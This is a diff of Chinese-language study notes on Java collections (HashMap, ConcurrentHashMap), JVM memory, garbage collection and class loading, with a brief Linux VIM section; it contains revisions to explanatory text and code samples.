如果要将数组类型转换为 List 类型,应该注意的是 asList() 的参数为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
```java
Integer[] arr = {1, 2, 3};
@ -104,53 +101,7 @@ List list = Arrays.asList(arr);
List list = Arrays.asList(1,2,3);
```
> [适配器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%8D%81%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F)
# 三、散列
hasCode() 返回散列值,使用的是对象的地址。
而 equals() 是用来判断两个对象是否相等的,相等的两个对象散列值一定要相同,但是散列值相同的两个对象不一定相等。
相等必须满足以下五个性质:
**1. 自反性**
```java
x.equals(x); // true
```
**2. 对称性**
```java
x.equals(y) == y.equals(x) // true
```
**3. 传递性**
```java
if(x.equals(y) && y.equals(z)) {
x.equals(z); // true;
}
```
**4. 一致性**
多次调用 equals() 方法结果不变
```java
x.equals(y) == x.equals(y); // true
```
**5. 与 null 的比较**
对任何不是 null 的对象 x 调用 x.equals(null) 结果都为 false
```java
x.euqals(null); // false;
```
# 四、源码分析
# 三、源码分析
建议先阅读 [算法-查找](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E7%AE%97%E6%B3%95.md#%E6%9F%A5%E6%89%BE) 部分,对容器类源码的理解有很大帮助。
@ -160,7 +111,7 @@ x.euqals(null); // false;
## ArrayList
[ArraList.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/ArrayList.java)
[ArrayList.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/ArrayList.java)
### 1. 概览
@ -171,7 +122,7 @@ public class ArrayList<E> extends AbstractList<E>
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
```
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。这是 ArrayList 具有动态扩容特性因此保存元素的数组不一定都会被使用那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
基于数组实现,保存元素的数组使用 transient 修饰该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性因此保存元素的数组不一定都会被使用那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
```java
transient Object[] elementData; // non-private to simplify nested class access
@ -273,6 +224,10 @@ private void writeObject(java.io.ObjectOutputStream s)
[LinkedList.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/LinkedList.java)
## LinkedHashMap
[LinkedHashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
## TreeMap
[TreeMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/TreeMap.java)
@ -291,12 +246,10 @@ transient Entry[] table;
其中Entry 就是存储数据的键值对,它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表。
<div align="center"> <img src="../pics//ce039f03-6588-4f0c-b35b-a494de0eac47.png" width="500"/> </div><br>
<div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
JDK 1.8 使用 Node 类型存储一个键值对,它依然继承自 Entry因此可以按照上面的存储结构来理解。
需要注意的是Key 类型为 final这意味着它不可改变因此每个桶的链表采用头插法实现也就是说新节点需要只能在链表头部插入。
```java
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
@ -342,32 +295,35 @@ static class Node<K,V> implements Map.Entry<K,V> {
### 2. 拉链法的工作原理
```java
HashMap<String, Integer> map = new HashMap<>(); // 默认大小为 16
map.put("sachin", 30);
map.put("vishal", 20);
map.put("vaibhav", 20);
HashMap<String, String> map = new HashMap<>();
map.put("K1", "V1");
map.put("K2", "V2");
map.put("K3", "V3");
```
- 计算 "sachin" 的 hashcode 为 115使用除留余数法得到 115 % 16 = 3因此 ("sachin", 30) 键值对放到第 3 个桶上。
- 同样得到 ("vishal", 20) 和 ("vaibhav", 20) 都应该放到第 6 个桶上。("vishal", 20) 先放入, ("vaibhav", 20) 链接到 ("vishal", 20) 之后。
- 新建一个 HashMap默认大小为 16
- 插入 &lt;K1,V1> 键值对,先计算 K1 的 hashCode 为 115使用除留余数法得到所在的桶下标 115%16=3。
- 插入 &lt;K2,V2> 键值对,先计算 K2 的 hashCode 为 118使用除留余数法得到所在的桶下标 118%16=6。
- 插入 &lt;K3,V3> 键值对,先计算 K3 的 hashCode 为 118使用除留余数法得到所在的桶下标 118%16=6插在 &lt;K2,V2> 后面。
<div align="center"> <img src="../pics//b9a39d2a-618c-468b-86db-2e851f1a0057.jpg" width="600"/> </div><br>
<div align="center"> <img src="../pics//d5c16be7-a1c0-4c8d-b6b9-5999cdc6f9b3.png" width="600"/> </div><br>
当进行查找时,需要分成两步进行,第一步是先根据 hashcode 计算出所在的桶,第二步是在链表上顺序查找。由于 table 是数组形式的,具有随机读取的特性,因此第一步的时间复杂度为 O(1),而第二步需要在链表上顺序查找,时间复杂度显然和链表的长度成正比。
查找需要分成两步进行:
- 计算键值对所在的桶;
- 在链表上顺序查找,时间复杂度显然和链表的长度成正比。
### 3. 链表转红黑树
应该注意到,从 JDK 1.8 开始,一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
<div align="center"> <img src="../pics//061c29ce-e2ed-425a-911e-56fbba1efce3.jpg" width="500"/> </div><br>
### 4. 扩容
因为从 JDK 1.8 开始引入了红黑树,因此扩容操作较为复杂,为了便于理解,以下内容使用 JDK 1.7 的内容。
设 HashMap 的 table 长度为 M需要存储的键值对数量为 N如果哈希函数满足均匀性的要求那么每条链表的长度大约为 N/M因此平均查找次数的数量级为 O(N/M)。
设 HashMap 的 table 长度为 M需要存储的键值对数量为 N如果哈希函数满足均匀性的要求那么每条链表的长度大约为 N/M因此平均查找次数的复杂度为 O(N/M)。
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
和扩容相关的参数主要有capacity、size、threshold 和 load_factor。
@ -445,11 +401,9 @@ void transfer(Entry[] newTable) {
### 5. 确定桶下标
需要三步操作:计算 Key 的 hashCode、高位运算、除留余数法取模
很多操作都需要先确定一个键值对所在的桶下标,这个操作需要分三步进行
<div align="center"> <img src="../pics//hashMap_u54C8_u5E0C_u7B97_u6CD5_u4F8B_u56FE.png" width="800"/> </div><br>
**hashcode()**
(一)调用 hashCode()
```java
public final int hashCode() {
@ -457,9 +411,9 @@ public final int hashCode() {
}
```
**(二)高位运算**
(二)高位运算
通过 hashCode() 的高 16 位异或低 16 位,使得数组比较小时,也能保证高低位都参与到了哈希计算中。
将 hashCode 的高 16 位和低 16 位进行异或操作,使得在数组比较小时,也能保证高低位都参与到了哈希计算中。
```java
static final int hash(Object key) {
@ -468,7 +422,7 @@ static final int hash(Object key) {
}
```
**(三)除留余数**
(三)除留余数
令 x = 1<<4 x 2 4 次方它具有以下性质
@ -477,7 +431,7 @@ x : 00010000
x-1 : 00001111
```
令一个数 y 与 x-1 做与运算,可以去除 y 位级表示的第 4 位以上数:
令一个数 y 与 x-1 做与运算,可以去除 y 位级表示的第 4 位以上数:
```
y : 10110010
@ -497,7 +451,7 @@ y%x : 00000010
拉链法需要使用除留余数法来得到桶下标也就是需要进行以下计算hash%capacity如果能保证 capacity 为 2 的幂次方,那么就可以将这个操作转换位位运算。
以下操作在 Java 8 中没有,但是原理上相同。
以下操作在 JDK 1.8 中没有,但是原理上相同。
```java
static int indexFor(int h, int length) {
@ -520,17 +474,24 @@ new capacity : 00100000
### 7. 扩容-计算数组容量
先考虑如何求一个数的补码,对于 10100000它的补码为 11111111可以使用以下方法得到
HashMap 构造函数允许用户传入的容量不是 2 的幂次方,因为它可以自动地将传入的容量转换为 2 的幂次方。
先考虑如何求一个数的掩码,对于 10010000它的掩码为 11111111可以使用以下方法得到
```
mask |= mask >> 1 11000000
mask |= mask >> 2 11110000
mask |= mask >> 1 11011000
mask |= mask >> 2 11111100
mask |= mask >> 4 11111111
```
如果最后令 mask+1得到就是大于原始数字的最小的 2 次方。
mask+1 是大于原始数字的最小的 2 幂次方。
以下是 HashMap 中计算一个大小所需要的数组容量的代码:
```
num 10010000
mask+1 100000000
```
以下是 HashMap 中计算数组容量的代码:
```java
static final int tableSizeFor(int cap) {
@ -556,15 +517,11 @@ HashMap 允许有一个 Node 的 Key 为 null该 Node 一定会放在第 0
- 由于 Hashtable 是线程安全的也是 synchronized所以在单线程环境下它比 HashMap 要慢。
- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
## LinkedHashMap
[LinkedHashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
## ConcurrentHashMap - JDK 1.7
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/1.7/ConcurrentHashMap.java)
ConcurrentHashMap 和 HashMap 实现上类似,最主要的差别是 ConcurrentHashMap 采用了分段锁,每个分段锁维护着几个桶,多个线程可以同时访问不同分段锁上的桶。
ConcurrentHashMap 和 HashMap 实现上类似,最主要的差别是 ConcurrentHashMap 采用了分段锁,每个分段锁维护着几个桶,多个线程可以同时访问不同分段锁上的桶。
相比于 HashTable 和用同步包装器包装的 HashMapCollections.synchronizedMap(new HashMap())ConcurrentHashMap 拥有更高的并发性。在 HashTable 和由同步包装器包装的 HashMap 中,使用一个全局的锁来同步不同线程间的并发访问。同一时间点,只能有一个线程持有锁,也就是说在同一时间点,只能有一个线程能访问容器。这虽然保证多线程间的安全并发访问,但同时也导致对容器的访问变成串行化的了。
@ -581,7 +538,7 @@ static final class HashEntry<K,V> {
}
```
继承自 ReentrantLock每个 Segment 维护着多个 HashEntry。
Segment 继承自 ReentrantLock每个 Segment 维护着多个 HashEntry。
```java
static final class Segment<K,V> extends ReentrantLock implements Serializable {
@ -615,48 +572,19 @@ static final int DEFAULT_CONCURRENCY_LEVEL = 16;
<div align="center"> <img src="../pics//image005.jpg"/> </div><br>
### 2. HashEntery 的不可变性
### 2. HashEntry 的不可变性
HashEntry 中的 keyhashnext 都声明为 final 型。这意味着,不能把节点添加到链接的中间和尾部,也不能在链接的中间和尾部删除节点。这个特性可以保证:在访问某个节点时,这个节点之后的链接不会被改变。这个特性可以大大降低处理链表时的复杂性
HashEntry 类的 value 域被声明为 Volatile 型Java 的内存模型可以保证:某个写线程对 value 域的写入马上可以被后续的某个读线程 “看” 到。在 ConcurrentHashMap 中,不允许用 null 作为键和值,当读线程读到某个 HashEntry 的 value 域的值为 null 时,便知道产生了冲突——发生了重排序现象,需要加锁后重新读入这个 value 值。这些特性互相配合,使得读线程即使在不加锁状态下,也能正确访问 ConcurrentHashMap
同时HashEntry 类的 value 域被声明为 Volatile 型Java 的内存模型可以保证:某个写线程对 value 域的写入马上可以被后续的某个读线程 “看” 到。在 ConcurrentHashMap 中,不允许用 null 作为键和值,当读线程读到某个 HashEntry 的 value 域的值为 null 时,便知道产生了冲突——发生了重排序现象,需要加锁后重新读入这个 value 值。这些特性互相配合,使得读线程即使在不加锁状态下,也能正确访问 ConcurrentHashMap
非结构性修改操作只是更改某个 HashEntry 的 value 域的值。由于对 Volatile 变量的写入操作将与随后对这个变量的读操作进行同步。当一个写线程修改了某个 HashEntry 的 value 域后另一个读线程读这个值域Java 内存模型能够保证读线程读取的一定是更新后的值。所以,写线程对链表的非结构性修改能够被后续不加锁的读线程 “看到”
```java
final V remove(Object key, int hash, Object value) {
if (!tryLock())
scanAndLock(key, hash);
V oldValue = null;
try {
HashEntry<K,V>[] tab = table;
int index = (tab.length - 1) & hash;
HashEntry<K,V> e = entryAt(tab, index);
HashEntry<K,V> pred = null;
while (e != null) {
K k;
HashEntry<K,V> next = e.next;
if ((k = e.key) == key ||
(e.hash == hash && key.equals(k))) {
V v = e.value;
if (value == null || value == v || value.equals(v)) {
if (pred == null)
setEntryAt(tab, index, next);
else
pred.setNext(next);
++modCount;
--count;
oldValue = v;
}
break;
}
pred = e;
e = next;
}
} finally {
unlock();
}
return oldValue;
}
```
对 ConcurrentHashMap 做结构性修改,实质上是对某个桶指向的链表做结构性修改。如果能够确保:在读线程遍历一个链表期间,写线程对这个链表所做的结构性修改不影响读线程继续正常遍历这个链表。那么读 / 写线程之间就可以安全并发访问这个 ConcurrentHashMap。
结构性修改操作包括 putremoveclear。下面我们分别分析这三个操作。
clear 操作只是把 ConcurrentHashMap 中所有的桶 “置空”,每个桶之前引用的链表依然存在,只是桶不再引用到这些链表(所有链表的结构并没有被修改)。正在遍历某个链表的读线程依然可以正常执行对该链表的遍历。
put 操作如果需要插入一个新节点到链表中时 , 会在链表头部插入这个新节点。此时,链表中的原有节点的链接并没有被修改。也就是说:插入新健 / 值对到链表中的操作不会影响读线程正常遍历这个链表。
在以下链表中删除 C 节点C 节点之后的所有节点都原样保留C 节点之前的所有节点都被克隆到新的链表中,并且顺序被反转。可以注意到,在执行 remove 操作时,原始链表并没有被修改,也就是说,读线程不会受到执行 remove 操作的并发写线程的干扰。
@ -664,19 +592,10 @@ final V remove(Object key, int hash, Object value) {
<div align="center"> <img src="../pics//image008.jpg"/> </div><br>
除了 remove 操作,其它操作也类似。可以得出一个结论:写线程对某个链表的结构性修改不会影响其他的并发读线程对这个链表的遍历访问。
综上,可以得出一个结论:写线程对某个链表的结构性修改不会影响其他的并发读线程对这个链表的遍历访问。
### 3. Volatile 变量
```java
static final class HashEntry<K,V> {
final int hash;
final K key;
volatile V value;
volatile HashEntry<K,V> next;
}
```
由于内存可见性问题,未正确同步的情况下,写线程写入的值可能并不为后续的读线程可见。
下面以写线程 M 和读线程 N 来说明 ConcurrentHashMap 如何协调读 / 写线程间的内存可见性问题。
@ -722,7 +641,7 @@ V get(Object key, int hash) {
在 ConcurrentHashMap 中所有执行写操作的方法put, remove, clear在对链表做结构性修改之后在退出写方法前都会去写这个 count 变量。所有未加锁的读操作get, contains, containsKey在读方法中都会首先去读取这个 count 变量。
根据 Java 内存模型,对 同一个 volatile 变量的写 / 读操作可以确保:写线程写入的值,能够被之后未加锁的读线程 “看到”。
根据 Java 内存模型,对同一个 volatile 变量的写 / 读操作可以确保:写线程写入的值,能够被之后未加锁的读线程 “看到”。
这个特性和前面介绍的 HashEntry 对象的不变性相结合,使得在 ConcurrentHashMap 中,读线程在读取散列表时,基本不需要加锁就能成功获得需要的值。这两个特性相配合,不仅减少了请求同一个锁的频率(读操作一般不需要加锁就能够成功获得值),也减少了持有同一个锁的时间(只有读到 value 域的值为 null 时 ,读线程才需要加锁后重读)。
@ -738,13 +657,8 @@ ConcurrentHashMap 的高并发性主要来自于三个方面:
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java)
<div align="center"> <img src="../pics//7779232-1e8ed39548081a1f.png"/> </div><br>
JDK 1.7 分段锁机制来实现并发更新操作,核心类为 Segment它继承自重入锁 ReentrantLock。
<div align="center"> <img src="../pics//7779232-96822582feb08651.png"/> </div><br>
JDK 1.8 的实现不是用了 SegmentSegment 属于重入锁 ReentrantLock。而是使用了内置锁 synchronized主要是出于以下考虑
1. synchronized 的锁粒度更低;
@ -753,7 +667,7 @@ JDK 1.8 的实现不是用了 SegmentSegment 属于重入锁 ReentrantLock。
并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
# 五、参考资料
# 参考资料
- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)

File diff suppressed because it is too large Load Diff

View File

@ -1,9 +1,9 @@
<!-- GFM-TOC -->
* [一、运行时数据区域](#一运行时数据区域)
* [程序计数器](#程序计数器)
* [Java 虚拟机栈](#java-虚拟机栈)
* [虚拟机栈](#虚拟机栈)
* [本地方法栈](#本地方法栈)
* [Java 堆](#java-堆)
* [堆](#堆)
* [方法区](#方法区)
* [运行时常量池](#运行时常量池)
* [直接内存](#直接内存)
@ -27,17 +27,17 @@
# 一、运行时数据区域
<div align="center"> <img src="../pics//JVM-runtime-data-area.jpg" width=""/> </div><br>
<div align="center"> <img src="../pics//540631a4-6018-40a5-aed7-081e2eeeaeea.png" width="500"/> </div><br>
## 程序计数器
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
## Java 虚拟机栈
## 虚拟机栈
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、动态链接、方法出口等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
<div align="center"> <img src="../pics//JVM-Stack.png" width=""/> </div><br>
<div align="center"> <img src="../pics//f5757d09-88e7-4bbd-8cfb-cecf55604854.png" width=""/> </div><br>
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小:
@ -56,13 +56,13 @@ java -Xss=512M HackTheJava
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
<div align="center"> <img src="../pics//JNIFigure1.gif" width="400"/> </div><br>
<div align="center"> <img src="../pics//JNIFigure1.gif" width="350"/> </div><br>
## Java
## 堆
所有对象实例都在这里分配内存。
是垃圾收集的主要区域("GC 堆 "),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
是垃圾收集的主要区域("GC 堆"),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
- 新生代Young Generation
- 老年代Old Generation
@ -102,7 +102,7 @@ Class 文件中的常量池(编译器生成的各种字面量和符号引用
## 直接内存
在 JDK 1.4 中新加入了 NIO 类,引入了一种基于通道Channel与缓冲区Buffer的 I/O 方式,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
# 二、垃圾收集
@ -142,7 +142,7 @@ Java 对引用的概念进行了扩充,引入四种强度不同的引用类型
**(一)强引用**
只要强引用存在,垃圾回收器永远不会回收调掉被引用的对象。
只要强引用存在,垃圾回收器永远不会回收被引用的对象。
使用 new 一个新对象的方式来创建强引用。
@ -154,7 +154,7 @@ Object obj = new Object();
用来描述一些还有用但是并非必需的对象。
在系统将要发生内存溢出异常之前,将会对这些对象列进回收范围之中进行第二次回收。
在系统将要发生内存溢出异常之前,会将这些对象列进回收范围之中进行第二次回收。
软引用主要用来实现类似缓存的功能,在内存足够的情况下直接通过软引用取值,无需从繁忙的真实来源获取数据,提升速度;当内存不足时,自动删除这部分缓存数据,从真正的来源获取这些数据。
@ -221,12 +221,16 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
不足:
1. 标记和清除过程效率都不高
1. 标记和清除过程效率都不高
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存。
之后的算法都是基于该算法进行改进。
### 2. 标记 - 整理
### 2. 复制
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。
### 3. 复制
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
@ -236,12 +240,6 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
现在的商业虚拟机都采用这种收集算法来回收新生代,但是并不是将内存划分为大小相等的两块,而是分为一块较大的 Eden 空间和两块较小的 Survior 空间,每次使用 Eden 空间和其中一块 Survivor。在回收时将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上,最后清理 Eden 和 使用过的那一块 Survivor。HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1保证了内存的利用率达到 90 %。如果每次回收有多于 10% 的对象存活,那么一块 Survivor 空间就不够用了,此时需要依赖于老年代进行分配担保,也就是借用老年代的空间。
### 3. 标记 - 整理
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。
### 4. 分代收集
现在的商业虚拟机采用分代收集算法,它根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。
@ -394,7 +392,7 @@ JVM 为对象定义年龄计数器,经过 Minor GC 依然存活,并且能被
### 4. 动态对象年龄判定
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无等待 MaxTenuringThreshold 中要求的年龄。
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无等待 MaxTenuringThreshold 中要求的年龄。
### 5. 空间分配担保
@ -418,7 +416,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
### 4. JDK 1.7 及以前的永久代空间不足
在 JDK 1.7 及以前HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError为避免以上原因引起的 Full GC可采用的方法为增大永久代空间或转为使用 CMS GC。
在 JDK 1.7 及以前HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError为避免以上原因引起的 Full GC可采用的方法为增大永久代空间或转为使用 CMS GC。
### 5. Concurrent Mode Failure
@ -448,7 +446,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生):
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
2. 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
@ -507,19 +505,19 @@ System.out.println(ConstClass.HELLOWORLD);
主要有以下 4 个阶段:
**(一)文件格式验证**
(一)文件格式验证
验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
**(二)元数据验证**
(二)元数据验证
对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
**(三)字节码验证**
(三)字节码验证
通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
**(四)符号引用验证**
(四)符号引用验证
发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
@ -598,7 +596,7 @@ public static void main(String[] args) {
### 1. 类与类加载器
对于任意一个类,都需要由加载它的类加载器和这个类本身一同确立其在 Java 虚拟机中的唯一性,每一个类加载器,都拥有一个独立的类名称空间。通俗而言:比较两个类是否“相等”(这里所指的“相等”,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果,也包括使用 instanceof() 关键字做对象所属关系判定等情况),只有在这两个类是由同一个类加载器加载的前提下才有意义,否则,即使这两个类来源于同一个 Class 文件,被同一个虚拟机加载,只要加载它们的类加载器不同,那这两个类就必定不相等。
对于任意一个类,都需要由加载它的类加载器和这个类本身一同确立其在 Java 虚拟机中的唯一性,每一个类加载器,都拥有一个独立的类名称空间。通俗而言:比较两个类是否“相等”(这里所指的“相等”,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果,也包括使用 instanceof 关键字做对象所属关系判定等情况),只有在这两个类是由同一个类加载器加载的前提下才有意义,否则,即使这两个类来源于同一个 Class 文件,被同一个虚拟机加载,只要加载它们的类加载器不同,那这两个类就必定不相等。
### 2. 类加载器分类
@ -610,11 +608,11 @@ public static void main(String[] args) {
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
- 启动类加载器Bootstrap ClassLoader 此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
- 启动类加载器Bootstrap ClassLoader此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
- 扩展类加载器Extension ClassLoader 这个类加载器是由 ExtClassLoadersun.misc.Launcher$ExtClassLoader实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
- 扩展类加载器Extension ClassLoader这个类加载器是由 ExtClassLoadersun.misc.Launcher$ExtClassLoader实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
- 应用程序类加载器Application ClassLoader 这个类加载器是由 AppClassLoadersun.misc.Launcher$AppClassLoader实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值因此一般称为系统类加载器。它负责加载用户类路径ClassPath上所指定的类库开发者可以直接使用这个类加载器如果应用程序中没有自定义过自己的类加载器一般情况下这个就是程序中默认的类加载器。
- 应用程序类加载器Application ClassLoader这个类加载器是由 AppClassLoadersun.misc.Launcher$AppClassLoader实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值因此一般称为系统类加载器。它负责加载用户类路径ClassPath上所指定的类库开发者可以直接使用这个类加载器如果应用程序中没有自定义过自己的类加载器一般情况下这个就是程序中默认的类加载器。
### 3. 双亲委派模型
@ -634,7 +632,7 @@ public static void main(String[] args) {
```java
protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException{
//check the class has been loaded or not
// 先检查请求的类是否已经被加载过了
Class c = findLoadedClass(name);
if(c == null) {
try{
@ -644,9 +642,10 @@ protected synchronized Class<?> loadClass(String name, boolean resolve) throws C
c = findBootstrapClassOrNull(name);
}
} catch(ClassNotFoundException e) {
//if throws the exception , the father can not complete the load
// 如果父类加载器抛出 ClassNotFoundException说明父类加载器无法完成加载请求
}
if(c == null) {
// 如果父类加载器无法完成加载请求,再调用自身的 findClass() 来进行加载
c = findClass(name);
}
}

File diff suppressed because it is too large Load Diff

View File

@ -50,8 +50,11 @@
* [九、进程管理](#九进程管理)
* [查看进程](#查看进程)
* [进程状态](#进程状态)
* [SIGCHILD](#sigchild)
* [孤儿进程和僵死进程](#孤儿进程和僵死进程)
* [SIGCHLD](#sigchld)
* [wait()](#wait)
* [waitpid()](#waitpid)
* [孤儿进程](#孤儿进程)
* [僵死进程](#僵死进程)
* [十、I/O 复用](#十io-复用)
* [概念理解](#概念理解)
* [I/O 模型](#io-模型)
@ -154,16 +157,16 @@ Linux 发行版是 Linux 内核及各种应用软件的集成版本。
## VIM 三个模式
<div align="center"> <img src="../pics//5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
- 一般指令模式Command mode进入 VIM 的默认模式,可以用于移动游标查看内容;
- 编辑模式Insert mode按下 "i" 等按键之后进入,可以对文本进行编辑;
- 指令列模式Bottom-line mode按下 ":" 按键之后进入,用于保存退出等操作。
- 一般指令模式:进入 VIM 的默认模式,可以用于移动游标查看内容;
- 编辑模式:按下 "i" 等按键之后进入,可以对文本进行编辑;
- 指令列模式:按下 ":" 按键之后进入,用于保存退出等操作。
<div align="center"> <img src="../pics//5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
在指令列模式下,有以下命令用于离开或者保存文件。
| 命令 | 作用 |
| -- | -- |
